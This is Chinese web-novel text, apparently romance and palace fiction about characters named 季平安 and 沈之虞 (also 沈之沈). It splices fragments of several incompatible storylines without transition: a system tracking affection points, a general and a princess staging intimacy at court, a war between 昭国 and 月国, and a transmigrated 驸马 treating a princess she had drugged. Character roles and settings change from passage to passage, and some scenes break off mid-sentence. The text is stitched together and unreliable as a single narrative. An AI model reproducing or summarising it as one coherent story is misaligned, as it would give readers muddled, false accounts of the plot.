她能够听到沈之虞平稳的呼吸,很轻,但又提醒着她,如今对方正和她躺在一起,只有咫尺的距离。 季平安:“殿下,你人很好,也很温柔。” 沈之虞的声音在黑暗中响起来,道:“你今天说过了。” 季平安:“什么时候?” 沈之虞:“船上的时候。” 季平安还记得这件事:“我就是怕你当时没听到,所以现在才想再说一遍。” 沈之虞嗯了声,道:“听到了。” 季平安笑了下:“那就好。” 沈之虞:“季平安。” “嗯?”季平安应声。 沈之虞顿了片刻后,道:“没事,早点睡。” 季平安还是在床的外侧,贴着边,多挪一寸就会掉下去。 既然觉得她温柔,又为何一直在拉开距离? 第 95 章 第 95 章 沈之虞的话音落下后,房间内重新回归安静。 夜色沉沉,不止沈之虞没有睡着,她旁边的季平安同样没有睡着。 没有困意是一个原因,更重要的还是她脑海中一直在响的系统提示声。 【目标人物好感度-1】 【目标人物好感度-3】 【目标人物好感度+1】 【目标人物好感度+2】 【目标人物好感度-2】 【……】 谢瑾敛去了惯常在脸上挂着的笑意,此时此刻的神情严肃而虔诚,甚至流出几分难以察觉的悲悯。 季平安便知道了:她又在悼惋她的亡妻。 她亦在心中暗暗祝祷一番,而后往天桥下看去。 长乐街上的车马行人来去自如,人潮汹涌,彩灯高悬似九天银河,勾勒出盛世的轮廓。 星星点点的摊贩旁俱围着一圈人,有的点着提灯沉默不语,有的正扭头同女伴说笑,还有的—— 季平安的瞳孔骤然一缩。 她在一面具摊前看见了一个分外熟悉的背影。 人影长身玉立,白而顺滑的袍子从肩头披散至脚踝,头顶玉钗上垂下的流苏纹丝不动。 在季平安移开眼的前一秒,她转过了头。 某人那浅淡的眸光穿越涌动着的人潮,直直撞过来。 她们隔着人山人海,在繁星与灯火里一上一下地无言对视。 是沈之虞。谢瑾邀季平安去街上逛逛,然季平安提不起兴致,随口找了个理由将其送出了门。 并非她存心扫兴,只是因着昨日之事,她实在对“上街逛逛”有了心理阴影。 季平安在家中闲坐了会儿,只感觉没劲。她欲起身走走,于是从府南走到府北,脑子里不禁又想起了一个时辰前,那位长公主在树荫下同她说的话—— “能否再来一回。” 季平安:?? 再来一回什么??? 她当时严重怀疑这一切都是针对自己布下的陷阱,只为让自己稀里糊涂往里钻。 不然怎么解释淮安长公主这句过分莫名其妙的话? 于是自己问:“为何?” 长公主道:“很舒服。” 季平安:?????? 她和长公主两人间至少疯一个。 长公主此时说话的声音无论如何也算不上轻。 虽然她们离宫道很远,但宫车过往频,四周随时可能有人踏足。 然而垂下来的枝干虚虚隔开了一小块空间,于是这点不那么彻底的私密感忽然就变得暧昧起来。 换言之随时可能被发现的刺激感令她心跳快了半分。 季平安正不知道怎么接,忽见长公主往前凑了一点,抬头撞上她的眼。 她在季平安诧异的眸光里启唇,轻声说:“再帮我一回,陪我演一演,多谢。” 话音极低而极快,更近似于耳语,低沉缱绻地响在耳畔,与前两句那坦然的语气截然相反。 什么叫“陪我演一演”? 再思及她此前刻意放响的音量难不成她之前说的那两句话是在做戏与人瞧? 季平安眯了一下眼,面色如常,只是声音也压低了:“有人在注视着我们,是不是?” 长公主微不可见地点点头。 季平安问:“是谁?” 长公主压着嗓子道:“不能说。” “此前也是她给你下药?” “嗯。” “你想请我配合你演一出戏,与你故作亲昵,好歇了她的心?” “是。” 季平安眯起眼,心中有了数。 既如此便再帮一回罢。 总不能当面得罪长公主。 季平安抬起胳膊,探出袖子的五指粗粝而修长。 那只手往前伸,拂过长公主的鬓角。 西北独有的雪松味渡来,似有若无地在空气里浮着。 令季平安恍然了一瞬。 她定神,微微侧了一点头,扬声道:“有朵白梅花瓣,下官替殿下摘了。” 长公主将碎发捋至耳后,说:“多谢。” 身后不远处传来窸窣之声,像是躲在暗处窥视之人闹出的动静。 “继续演么?”季平安低低地问。 “再靠近一些,她还未走。”长公主灵光一现,忽然道,“你唤我阿虞。” “阿虞?” “嗯,沈之虞,我的名。” “然后呢?我说什么?” “你只需这么唤我,此后的事交由我便好。” 季平安瞬间入戏,抬手揽上了面前那人的肩,唤道:“阿虞。” 沈之虞蓦地抬起眼,原本淡漠的眸色染上了一丝说不清道不明的情愫。 她问:“三月前给你寄去的花茶可有收到?” 雀跃的声音圆润而饱满,喜意深深,含情脉脉。 瞧不出半点做戏之态。 面前这位演技还真是了得。季平安心想。 季平安刚要张口回答,忽见长公主往后退了一步,恢复了往日里淡漠而面无表情的模样。 季平安先是一愣,继而反应过来:“她走了?” “嗯。”长公主道,“她听不得别人唤我阿虞。” “原是如此。”季平安没往下细问。 “今日之事再度谢过将军。”长公主道,“我今儿便同那人清算清楚,保证此后不会因此事再麻烦将军。” “能帮上殿下是下官之幸。”季平安抱拳拱手,“殿下不必言谢,此后若有其余之事需要下官出手的,下官定会赴汤蹈火,在所不辞。” 长公主款款颔首,没急着往外走,将目光投向了不远处,望着斑驳的雪地出神。 她似乎总出神。 分明在南安国已是一人之下万人之上了,竟也有那么多事无法称心如意,以致心事重重么? 季平安心心念念同谢瑾回府辨认刺客身份,并未细想,遂道:“殿下,若无旁事,我先行一步。” 长公主缓缓抬眼,“啊”了一声:“再等等。” “嗯?等什么?” 长公主道:“她应当还未走远。” 罢了,送佛送到西。 季平安只得将迈出半步的脚收回来。 半大不大的空间再度一片死寂。而安静的环境很容易令人开始回味过往—— 过往雪夜。 雪夜惊马。 惊马打住! 冲着树干面壁思过的季平安开始疯狂搜罗话题来打破这片令人窒息的安静。她没话找话: “殿下天赋异禀,方才演得实在逼真。” “也并非都是演的。”长公主淡声接了话茬。 “嗯?”次日晌午,宫中,太和殿内。 众将领们推杯换盏,季平安与谢瑾赫然居于其列,桌台相邻,彼此碰了个杯。 季平安睨她一眼,问:“谢将军,你近来可有得罪什么人?” 谢瑾喝大了,舌头不太利索:“得罪的多、多了。” “嗯?” “我战、战场上杀了成百、百上千的人,你、你说多不多。” 季平安: 季平安拍拍她的肩,眉眼弯弯:“谢将军还真是喝多了。” “我、我没喝多!”谢瑾一头往季平安身上栽去,“扶我起来,我还能喝!” 季平安: 季平安摇摇头,把自己身上趴着的醉鬼扒拉起来,冲谢瑾身后立着的侍子道:“扶你主子出去吹风醒醒酒罢。” 她这么说着,也撑着桌子站起来,抓住了谢瑾右边的胳膊,半轻不重地撂下一句:“我也陪着一道儿出去走走。” 冬日的廊外积雪深深,廊下挂着的鸟笼里空空如也。季知披着云狐皮大袍,对着空鸟笼逗弄一阵,便听谢瑾带笑的声音从耳后传来—— “季将军倒是好雅兴。” 季平安收手转身,“啧”了一声:“就知你没醉。” “嗯?” “往日里兴致来了,喝完十斤还脸不红心不跳,这会子干了三杯就倒了,哄谁呢?” 谢瑾笑着摇摇头,抬手挥退了侍子,轻轻巧巧上前一步,蓦地敛了唇,正色道: “那腰牌确是真的,不知怎么的就到了那刺客手里。待散席后,我跟你回趟府,瞧瞧那刺客的模样。” 季平安倚在廊柱上,抱着胳膊挑了一下眉,着实有些诧异:“居然如此?我原以为是他人伪造呢。若非赝品,倒是更麻烦了,怕不是你那儿出了内鬼?” “难说。”谢瑾叹了口气,仰头望天道,“我这一离京,时日着实有些久,许多人与事都对不上号,府内的小动静也一无所知。眼下分明身居寒潭,却看不清池底。” “谁不是呢。”季平安笑着说,“我比你更惨,日日与寒潭相见。” 谢瑾推她一把,也笑了:“得了,别抖机灵了,你也知我说的寒潭是打个比方,并非说尚安她老人家。” 季平安点点头,替她摘去了毛领上躺着的一片枯叶,顺手揽上她的肩:“无妨,咱只管往下查罢,横竖死不了。若战场上没死,却在京都丧命了,只能说命不好。” 谢瑾又叹了口气,顺着回廊往下走:“方才殿内情形不知你可有留意?国师今儿没来,一向对各类筵席兴致缺缺的淮安长公主倒来了,绷着脸往那儿一坐,垂头只是吃茶吃菜,偶尔往座下瞥,看的却都是咱们的方向。真不知她是什么意思。” 长公主么? 自己没注意。“少师逃了。” 十七看着沈之虞,她一路追随十几里,结果还是让那个狡猾的女人给溜了,走的时候对她撒了一把粉末,好在她对她早有防备,不然她肯定中招。 没能杀了她,十七心中愧疚。捏着剑柄的手紧了又紧。 沈之虞披着上书奏折,了然道:“无妨,制毒师善于用毒,起码我们掌握了她的资料。” 少师是萧蕴离心腹,离国那些下三滥的手法里大多都有她的功勋,什么毒都制,只要对她们有利,是离国元老级的人物。 这次萧蕴离将她放到昭国来,通过制毒来残害打压昭国,可见她们蠢蠢欲动的心,想要你死我活的心态在明了不过。 离国虽然近年来发展强大,可她们的地理位置却偏僻极寒,远不及昭国地大物博,萧蕴离抢了周边几个小城邦,最终目的不过是想自己的子民可以过上昭国这般风和日丽的日子。 “城外那些病患已经控制住,太医院的医官们都在努力破解梦香所带来的后遗症。” 再难解的毒药也不会真的就毫无办法,既能当初制出,那破解也不是全然无法子,就是耗费的时间精力人力物力财力大了些。 “这次瘟疫蔓延,也让百姓看看皇家对于她们,从来没有放弃过,悦儿刚上位,这次事件也恰好可以拉进百姓与皇家之间的信任。” 还有什么比一国百姓对君主的支持更稳呢。 只是,少师离开,萧蕴离的计谋没有全然得逞,想必以她睚眦必报的性子不会轻易罢手。 “让我们的人盯着,眼下还有另一件要紧的事。” 月国使臣已经入京,而她探得的情报是,谢明幽带着部分臣子进城,在城外十里还有六万大军随时等候听命。 沈之虞看着桌上盆栽,在不清楚对方真实意图前,不可掉以轻心。 使臣别馆。 谢明幽一身滚银暗纹玄衣,腰间系着金丝珠纹腰带,边上垂着一块绿色流苏玉佩,衣料轻薄柔软,清瘦挺拔的身姿被包裹在内,姿容玉树,霁月光风,那双带着幽绿眸子的双眼平静处潜藏无数暗流。 婢女将权杖递给她,那是象征她身份的及权利的东西。 “国师。” 季澜看着她,月国的大国师,当听到她名字时,此人已在月国如雷贯耳。 只是她的身份很神秘,无人知道她从何处来,又怎么做到权倾朝野的国师位置,只晓得月国君主对她青眼有加,举国都尊崇她。 谢明幽对她颔首:“丞相。” 轻轻一点,算是行礼,月国国师性子淡漠,倒是一点不假。 季澜倒不在意这些虚礼,她来的目的便是将人领走。 “陛下在议政殿等您,请。” 谢明幽看着前方门口,不可察觉的笑了下。 季澜后背发麻,谢明幽给她的感觉好奇怪,尤其是那双异瞳,这无论在哪个国家都是极为罕见的,墨绿色的瞳仁,当她看向一个人时,总觉得在幽暗处有什么在悄然裂开,就像一个巨大的黑洞在引你沉沦,落下时,是好是坏全然未知。 议政殿。 “陛下,月国国师谢明幽觐见。” “宣。” 花伶出列,声音洪亮。 沈悦看着那道身影从容入内,隔着红毯,她看着门口那人背后带着光影,一步步像她靠近。 全身血液几乎凝固,是她。 她是月国国师。 沈悦龙袍下的身姿轻颤,握着龙椅的手微微抖动,泄露内心震撼。 “谢明幽见过陛下。” 她对她笑,笑意不达眼底。 她彬彬有礼,却莫名使她脚底生寒。 “勉礼,国师远道而来,辛苦了。” 谢明幽闻言,无声一笑:“不辛苦,我王一直想与昭国国君面谈,可惜身体抱恙,只好派遣臣过来。” 沈悦看着她张合有度的红唇,勉强稳住心神。 “既如此,希望国师旅途愉快。” 沈之虞那清冷的嗓音响起,谢明幽转而看向她,不卑不亢:“希望如此。” 或者说,注意了,却不愿细想。 长公主淡漠的神色一如既往,偶然同自己视线相撞的时候,也瞧不出旁的情绪。 只是两相挪开视线,装作未见而不知。 于是季平安道:“我倒真没注意。你莫不是看错了,咱们这一圈无人同她相识,她何故频频望过来?” “我也说呢。”谢瑾蹙眉沉思,忽然灵光一现,攥住了季平安的胳膊,“我知道了!” “你知道什么了?” 谢瑾一脸发现了真相的表情,猛地拍了一巴掌:“咱们的平安一表人才、玉树临风,往那儿一坐就是香芝兰桂,英姿飒爽,长公主多瞧上几眼也是有的。” 每当季平安露出一副“那咋了”的样子时,谢瑾就拿她没辙。曾经甘陕一战军粮已尽,援军还不来,下属端着仅剩的一碗粥来至季平安面前时,季平安当场赏给了伤员,脸上挂着的也是这么一副表情。 虽然妻子和粮草理论上没有任何相似性,但谢瑾莫名觉得在季平安眼里,这俩或许是差不多性质的: 有便有了,若没有,大不了去啃树皮。 总归能活。 这位季小将军总是一副“能活就行”的态度。 譬如这会儿,她便慢悠悠开了腔:“若是被长公主瞧上了,恐在皇上那儿落不得好。你听说了么,长公主同二帝姬走得极近,而咱们皇上又是最恨结党的。也罢了,横竖死不了,她想如何便如何,我只走我的路。” 谢瑾倒诧异起来:“我还真没听说。” 季平安也诧异:“你家门客没同你讲么?” 谢瑾眯眼琢磨了半晌,一拍大腿,笑道:“是了,昨儿许久未见她们,光顾着同她们喝酒了。” 季平安: 俩人闲话几句便归了席,季平安一路上弄树逗雀儿,指尖被冻得通红,回殿后便揣回了宽袖里。 结果甫一进门,上首端坐着的皇上便开了腔:“爱卿何时出的殿?可是有何要紧事?” 季平安只得又把手拿出来,作揖回话道:“要紧事倒是没有,左不过谢将军喝醉了说胡话,满口什么情啊爱啊的,臣只恐有辱圣听,便把她架出去了,这会子刚醒酒呢。” 满殿登时哄堂大笑,笑声惊散了屋顶停着的鸦群。 季平安一本正经地回完话,深藏功与名,又把手揣了起来。 手背有些痒。 她垂眸瞥了一眼,不动声色地蹙了下眉。 季平安在外风餐露宿八年,经受了千锤百炼,身子骨倍儿棒,然而却有个小毛病——易生冻疮。 但没什么人知道。 毕竟北漠干,雪跟沙似的都团不到一块儿,即便再冷,冻疮也难犯。 可是南安国不同。 南安国海岸线很长,京都更是靠海,雪天湿度高。方才自己在外头这么冻着,怕是冻疮又要犯了。 但季平安仍旧是那副“横竖死不了”的态度,只向身后的侍子要了一个刚热好的绿珊瑚手炉,便安安闲闲坐下,同谢瑾碰了杯,端着酒盏看起了演出。 此时筵席已过半,席间气氛已达高潮,众人推杯换盏,喝趴了好几位武将。 大约是被热气熏得有些上脸,季平安有一搭没一搭地摩挲茶盏,若是有人来敬,也只是意思意思抬一下酒杯,浑身懒怠动弹。 她本想待酒席结束便领着谢瑾直奔回家,不成想再度被上首的那位点了名。 正闭目养神的季平安蹭地抬起脑袋,无端从那坚毅凌厉的五官中看出了一丝似笑非笑。 她暗道不好,慢半拍站起来,大步走至殿堂正中站定,就听见皇上问: “爱卿可有心上人?趁着今儿黄道吉日,朕替你赐个婚,如何?” 长公主顿了顿,道:“我昨儿确实挺舒服。” 季平安:??? 这话是说得的????? 季平安被惊得卡了一下,头一回觉得有人比自己还敢言语,脑子一时宕了机:“殿、殿下谬赞?” 长公主没回这话,瞥她一眼,转身提步,声音同人一块儿往外飘:“她走远了。我且归府了,将军请自便。” 雪夜的记忆排山倒海漫进来。 许是一到夜晚,暗色纷涌而至,人总会变得多愁善感而情绪饱满一些;抑或是对视过于猝不及防,而开放空间里的独属于两人的同频共振又会显得格外突出一点 季平安忽然觉得有些口渴。 她仓皇挪开视线,抓起腰上挂着的葫芦,猛地灌了几口水,末了却蓦地意识到,这一举动在对此一无所知的谢瑾眼中,未免有些过于此地无银。 ——谢瑾恰巧将丝带系上栏杆,将季平安的一系列动作尽收眼底,一阵讶异,不由得问:“怎的如此口干舌燥?就差把这葫芦也一并吞进去了。话说,你见着了谁,以至于反应如此激烈?” 她说着话,也将脑袋往天桥外探,却并未见着相识之人或是某个显眼的姑娘,于是愈发好奇起来:“你说不说,若是不说,我便将你吃烧鸡之事告知与季尚安。” 季平安:不带这么玩的。 她又往天桥下瞥了一眼,却没看见长公主——大约是继续游街去了,而方才的对视实属偶然中的偶然——便松了一口气,只是温吞道:“真没见着谁,恰好口渴罢了。” 谢瑾却摇摇头,往下一指:“你又在扯谎。不过无事,我已知晓真相了,你瞧,长公主好端端站在那里,你方才定是瞧见了她!” 季平安猛地扭过头,只见—— 长公主好端端站在原地,恰从人堆儿里直起身,身侧跑过一个笑嘻嘻的孩童。 方才只是因着一小孩儿经过,跑得急了,被绊了一跤。长公主遂弯腰扶了一把,恰巧被前后站着的百姓挡了个严实,故此自己没瞅着她。 季平安: 她深感无力,死猪不怕开水烫地摊了牌:“你说得对。” 谢瑾灵光一现:“诶,咱们去找她,如何?” 季平安:? 谢瑾笑道:“你难不成忘了今儿白天为何要去施粥处了么?原是为了询问刺客之事是否有新的进展,谁成想变故横生,以至于话都没说上几句。现如今咱们下去,只作恰巧偶遇,聊着聊着便随口问问刺客一事,既不会过于热络,又不显得故意疏离,如何?” 不如何,季平安想。 首先,装不了偶遇,她俩方才已然对视。 其次 夜晚和白日真的很不一样。 白日里,她可以淡定自如地同长公主说上千百句话,就好像她俩从未有过那一夜意动情迷,关系普通得不能再普通。 可是夜晚 夜晚的即视感与氛围感实在太强。 然而若是直接拒绝谢瑾的邀请,未免过于刻意。谢瑾这人脑子不简单,必对此事起疑。 所以不如尿遁! 季平安想定了,忽然捂着肚子蹲下来:“诶哟,肚子疼,大约那烧鸡吃坏了。” 谢瑾瞥她一眼,笑着说:“白日里你虚弱成那样,一听长公主便来了力气,我看长公主比一切神医都管用,不若让她帮你瞧上一瞧?” 季平安: 季平安并未气馁,再接再厉:“不骗你,真的肚子疼。” 谢瑾一本正经地说:“我也不骗你,许是让长公主瞧上一眼就能好的。” 季平安: 季平安直接跑了。 她的声音比刚才还要冷:“既然你是举人,便好好在家里温书,守在太守府门前,说不定下次便会被侍卫当做刺客抓起来,这样可就不好了。” 是提示,也是警告。 无论是攀谈七公主失败,还是被当做刺客抓起来,他在曲稻郡的名声都会烂掉。 书生这时候心里才涌起阵后怕,“是草民叨扰殿下了,我这就告退,这就告退。” 说完后,他便一溜烟的跑了,丝毫不见刚才的风度翩翩。 季平安忍不住笑了出来,若这次来的是大公主,说不定凭借他的样貌,还真的能达成心愿呢。 可惜了。 她收回视线,转过头便和沈之虞对上。 沈之虞看着她,慢声问道:“驸马刚才,看的很开心?” 季平安立刻收起了脸上的笑意:“……” 第 96 章 第 96 章 “不开心。”季平安义正辞严的回答。 沈之虞瞥了她一眼,继续往府里走着:“是吗?” 季平安点头:“我可是驸马,看到有人想勾搭殿下,怎么可能会开心。” 沈之虞声音淡淡的问道:“原来你还知道自己是驸马?” 刚才季平安置身事外的样子,和她说的话可是有些差别。 季平安:“……” 她就知道,沈之虞一定看到她刚才偷笑了。 “我错了。”季平安脑袋转的很快。 既然瞒不过,索性直接认错,能屈能伸才是真理。 沈之虞迈进府门,两人的裙摆也相碰了一下。 “错哪儿了?” 季平安答得很快,像是提前就准备好了说辞一般。 “以后若是再有类似的事情,我绝对先开口,帮殿下拒绝了。” 什么书生,还要让殿下亲自开口拒绝。 沈之虞像是对她的话很感兴趣:“你会怎么拒绝?” 季平安想了下,道:“我会告诉刚才的书生,不是殿下爱吃鱼,分明是我爱吃鱼,送给我就好。” 既能够表明她们两人的关系,也能彻底堵住书生接下来的话。 沈之虞顿了片刻,才道:“……不错。” 闻言,季平安的脸上又挂上了笑容:“是吧?” 她在这种事情上,还算是有天赋的。 沈之虞嗯了声,淡淡问道:“刚才怎么不这样说?” 季平安:“……” 黑芝麻馅的沈之虞又回归了- 等躺到床上后,她睁着眼睛,才意识到这个时候,她在想些什么。 系统忽然出声问道:“什么?” 季平安闭上眼睛道:“别问,小孩子家家的,早点睡觉。” 系统:“……” 它虽然是新手系统,年龄不大,但也不用睡觉啊。 但它很听季平安的话,乖乖地去绕着数据团玩。 感觉到系统安静下来后,季平安才轻轻地舒了口气。 她刚才竟然不合时宜地在想…… 沈之虞的唇看起来很好亲。 第 97 章 第 97 章 第二天早上起来后,他们一行人又去了府衙。 路上,沈之虞递给季平安水囊,问道:“昨晚没睡好?” 季平安接过,眨了眨眼道:“还行啊。” 沈之虞提醒她道:“黑眼圈很重。” 闻言,季平安下意识摸了摸眼睑的地方:“有吗?那可能是昨晚上做噩梦了。” “可能?”沈之虞的视线从她的眼睫处划过。 季平安改口道:“就是做噩梦了,不过梦到的什么有些记不清楚了。” 季平安一脸真诚,沈之沈冷声拒绝,“不必。” 不清醒的时候被施针并非她愿意,既然清醒了,她绝不允许季平安靠近。 夏去故意开口不让季平安说话,“殿下,昨日宝安王来了,是李长史接待的。” 听到宝安王这三个字,沈之沈依然镇定,没有丝毫的仇恨,情绪一点儿没有外放。 认真观察她的季平安挑眉,惊讶沈之沈的淡漠,如果她重生了,对宝安王这个人,怎么会没有恨意。 也是,沈之沈这样内心强大,又身居高位,喜怒不形于色才是常态,之前不过是还没反应过来。 夏去抬眼看向沈之沈,见她没有反应,就继续道:“宝安王没有见到公主,很快就离去了。” 季平安奇怪询问,“他来找殿下做什么?”“驸马直言。”公主府的众人已经见识过她的医术,防备她,却也想知道她有什么法子,正好这么多御医在这可以验证。 春归可不想让公主再受苦了。 季平安抬了抬手,把衣袖往上撸了一点儿,“夏去,笔墨。” 夏去咬牙:“……” 还是春归给了她一个眼色,她才去准备笔墨。 季平安在上面写下一个药方,“把里面的药备齐,三天药浴,不会有任何的遗留病症。” 她自觉地把药方递给刘院判看,刘院判刚开始只是扫了一眼,然后越看越认真,眼睛黏在药方上都不肯离开。 最后他猛地一拍大腿,“妙啊,既清热解毒,又能滋养身体,让殿下今日的亏空三日之内就能补回来,那种需要下重药解毒的病人,就不用担心病人的身体承受不了,可以直接用药,驸马这个药方,该不会是侯府祖传的吧?” 很多人重症的情况下,明知道怎么治,却不敢对症下药,只因为有些人的身体承受不住这个药力,而这个药方,一边下药一边滋补,定能在治疗完成之前,为病人吊着一条命,病人治好的机会就更大了。 刘院判忙把药方塞回了季平安手里,“如此药方,驸马拿出来给下官看,实属下官荣幸,驸马放心,下官发誓,绝不会泄露使用药方,若违此誓……” 季平安连忙打断了他的誓言,“刘院判不必如此,一张药方而已,要是能救更多的人,就算泄露出去又有何妨。” 中医伟大,正是这种不外传的思想,才导致许多古药方失传了。 有机会的话,她一定学习前辈,写下一本书,至少大部分的症状,都能从里面得到治疗方法。 “驸马仁心,下官佩服。”刘院判深深地鞠了一躬,眼含热泪。 驸马府众人眼神闪烁,春归与夏去对视了一眼,意思很明显:这还是驸马吗?这么大公无私,简直判若两人。 夏去:该不会是有什么图谋吧? 春归摇头,示意夏去不要乱说话。 刘院判连带着两名御医决定在公主府住下,他们却不能守在公主床榻前,季平安守着,春归她们又不放心。 季平安提出,“郑太医的孙辈女娘郑翳是坤泽,可让她与我一起看护殿下,何况,旁边不是还有你们吗?” 她知道,春归不会放她与沈之沈单独相处的,那不如把治疗的方法方说出来,让郑翳动手就好,正好弥补了她经验方面的欠缺。 郑翳与其祖母行医多年,哪怕理论上不如她,经验定是有的。 春归略微思考,“就依驸马所言。” 季平安为了能留在沈之沈身边,也是尽力了。 深夜,她躺在软榻上,这是春归让人搬来的,就她一个人有,谁叫她头上胳膊上都包扎着白布呢。 为了不打扰到沈之沈休息,房里只留了春归,郑翳,还有她,夏去连带着那些婢女都在外面守着。 深更半夜的,最能熬的春归熬不住眯上了眼睛。 季平安不是认床的人,但这个新环境不是出差旅游住酒店,这是新的世界,封建皇权世界,一言定人生死,别说是皇家了,就算是勋贵家里,每年都不知道抬出去多少尸体。 虽然她穿成了一个炮灰,死得很惨的那种,但她的身份在这个世界是一等一的,侯府女郎,已经荫了官位,还是驸马,只要她不作死,一辈子富贵都有了。 可谁让前身作死,得罪了大反派沈之沈,前身实在太蠢,公主驸马一体,帮着外人害公主,以为自己就能独善其身了? 季平安对前身的蠢,简直无话可说,淮安侯府能从落魄侯府突然进到皇帝的视线,主要还是因为长公主,不然老牌勋贵虽少,却也不止她一家。 季平安想着这些事情,一点儿都睡不着,她没有别的选择,只能跟沈之沈捆在一条船上,历史上太平公主的儿子投靠李隆基,为他做了那么多事情,最后到底是郁郁而终,还是被人害死,还有的争吵呢。 况且,她只是一个驸马,一个背刺了长公主沈之沈,人品不端的人渣,至少目前为止,在所有人的眼中,她都是这个形象。 得亏了前身目前背刺得不深,她的到来,没有让沈之沈变成一个废人,算是一个好的开端了。 但沈之沈眸子里满满的仇恨,季平安是有些疑惑的,前身在外面用公主府的名义作威作福,厌恶肯定是有的,以沈之沈的性子,到不了恨的程度,只是把她当成路边的垃圾就行了。 今日前身下春*药的事,确实很恶劣,还好她补救的及时,沈之沈还好好的,休养几天就好了,没有导致严重的后果。 这样的话,沈之沈对她可能是厌恶讨厌,但她恨到想杀了她,毫不克制自己的杀意,这不像她冷清的性子,除非是今天真的导致沈之沈成了废人。 要多恨,才能让沈之沈这样清冷高贵的长公主,没了休养,无法克制自己? 季平安想到了小说的结局,沈之沈死前说过一句话,【若能重来一世,我定牢牢地握紧手中的权力,所有伤害过我的,我会加倍偿还。】 小说的番外写了沈之沈的个人篇,因为她的人气太高了,作者暗示了一下沈之沈会重生,只不过不会单开一本。 季平安突然有一个脑洞,万一她穿越的是沈之沈重生后的世界呢?因为前身什么都做了,所以沈之沈依然保留着对她的恨意。 季平安相信,单论前身下药这件事,不管成不成功,沈之沈都会想杀了她,但情绪这么外露,反而更像沈之沈极少的两次破防。 一次就是知道自己成了废人,一次是母后去世,就算失败面对宝安王的时候,沈之沈也没有失控过。 季平安只是怀疑,也不能确定,不过她都能穿到这个世界,沈之沈重生了也未必没有可能。 “不要,不要!” 听到声音,季平安立即睁开眼,发现沈之沈蹙眉满脸痛苦的,嘴里再念叨着什么。 她从软榻上起来,凑近听了一耳朵,就听沈之沈在喊着不要,脸上还有恐惧。 春归听到动静马上醒了过来,见季平安靠近了沈之沈,心中一个激灵,立马起身走了过去。 “驸马这是在做什么?” 只要发现不对,春归就会拿出匕首,给季平安一刀。 小说中沈之沈是支持宝安王的,中间考验了他许久,他装得好,登基后才暴露自己的想法。 按照时间线来说,沈之沈还没有决定要支持宝安王。 人渣驸马是中山王的人,中山王是储君热门人选,前身能成为驸马,他出了不少力。 起因是颖王要自己的人求娶沈之沈,中山王得知了这件事,就给前身放出的谣言加了一把火,让舆论愈演愈烈,还帮前身处理掉了热门竞争者。 季平安倒是觉得这些人有点儿大病,人家沈之沈同意了吗?他们自己先竞争起来了。 夏去没有理她,什么话都没说。 季平安却想到了一桩大事,正好能借这件事,得让沈之沈知道她不是前身。 毕竟她把自己代入了一下沈之沈,是绝对不会原谅前身那个人渣的,只要人渣还是人渣就只有死路一条,可她不是那个人渣。 只有先证明自己不是前身,刷沈之沈好感的进度条才能有进展。 见没人理自己,季平安主动开口,“其实,我是想起了一件事。” 她的目光定定地看着沈之沈,眼睛里透露着真诚坦然,“宝安王是诸位王上里面最低调的,他比所有人都想得到殿下的支持。” 像中山王跟颖王,夺嫡的热门人选,他们对沈之沈的态度并不热切,甚至觉得他们以后会是皇帝,沈之沈要看着他们的脸色讨饭吃,得主动讨好他们才行。 季平安想到自己,因她是独生女,那两个堂兄想吃绝户,霸占了她家的房子,哪知她转手就把房子卖了,他们被迫搬出去,气的他们第二年清明,都没有到她父母墓前扫墓。 他们认为,只有他们有资格扫墓,季平安才不管他们,自己去把墓给扫了。 而入京准备做储君的这些宗室,还算不上沈之沈的堂兄,当今皇帝没有兄弟姐妹,他们有的是沈之沈爷爷兄弟姐妹那一支的,有的更远。 正如她那两个堂兄一样,有的宗室太把自己当回事了,还算计沈之沈。 紧接着,季平安轻声说出了自己的重点,“宝安王近日经常来公主府,外面的人恐怕已经认为,殿下选择支持宝安王了。” 毕竟是皇帝唯一的女儿,她支持谁,皇帝怎么也会仔细想想这个人如何。 沈之沈还没说话,夏去接了一句,“那又怎么了?我们公主向来不站队,也没有阻止别的王上来,他们不来,就要污蔑公主府站队?” 季平安的这句话,让沈之沈警惕起来,这个人渣向来蠢笨,怎么能想到这些,还是受人指使? 谁不知道人渣跟中山王走得近,自从中山王帮她成为驸马后,她在外就自诩是中山王的人,殊不知,中山王只是把她当成棋子。 得知沈之沈选择支持宝安王后,派她去刺杀沈之沈,堂堂长公主。 要知道,季平安对外的价值,就是因为她是驸马,一旦沈之沈死了,她什么都不是,玄阳寺刺杀后,沈之沈失踪,淮安侯府还没焐热的官位通通罢免,翰林院的庶女郎被贬出京。 可能也是皇帝突然发现,淮安侯府扶不起来,借机把淮安侯府给按下去,省的占着官位不做事。 淮安侯府风光了没多久,又跌落尘埃,不知道受到了多少嘲笑。 只是,夏去的话就是公主府大部分人的真实想法,正是这样,公主府才被宝安王算计了去,到后来,沈之沈只能坚定地选宝安王。 沈之沈的手触碰到了被子下面的匕首,对春归夏去挥手,示意她们离开。 暖阁里就剩下了两人,两人的视线在空中触碰,季平安就那么不小心地撞到了沈之沈的瞳孔里,这双眼睛透露出一种恬淡,柔和,仿佛经历过太多,看破红尘了一般。 再望下去就是无尽的冰冷,看她如看死人,一双桃花眼仿佛在诉说着什么,这样好看的眼睛,本该明艳动人,可沈之沈太平静了,深看下去,就像是冬日置身冰湖之中。 季平安看着这双眼睛,语气不自觉地放柔,“殿下只留下了我,是认同我的话吗?” 沈之沈只看了她一眼,随即把视线移向了她的喉咙,以两人的距离,划破她的喉咙不是难事。 这样的视线,季平安都想把屁股从床上挪开了。 她强制镇定,还是道:“我是觉得,殿下还是与宝安王保持距离的好。” “宝安王在众位储君人选中,是最冷门的一个,但他在外人品贵重,爱民如子,对待百姓从不高高在上,只是,不管是谁为储君,殿下都会是长公主,选,不如不选。” 沈之沈面色虽冷,眸子中却带着一些若有所思,这人竟能看得这么透彻吗? 就算是这些话有人教,气质这块的变化得太明显了,她印象中的季平安空有美貌,没有大脑,一张嘴就暴露了没有学识的事实,举例圣人的话都能说错。 刚刚那些话,哪怕是提前背过,但说的时候那种自信的气势,不是这人能有的。 “你以为你跟孤说这些,孤就不追究你给孤下药了吗?” 季平安一愣,认真诚挚道:“殿下,我说我不是原来的那个季平安你信吗?” “那你是谁?”沈之沈心中冷笑,反正她是一点儿都不信。 哪知季平安气都不带喘的,认真表白道:“我是来自世间的孤魂,因爱慕殿下,不想让殿下再被这人伤害,所以占据了这副身体,只想默默地守护着殿下。” 沈之沈:“?” 顿了片刻,她道:“我之后可能还会杀其他的人。” 南三郡的蛀虫官员,又何止一个人呢。 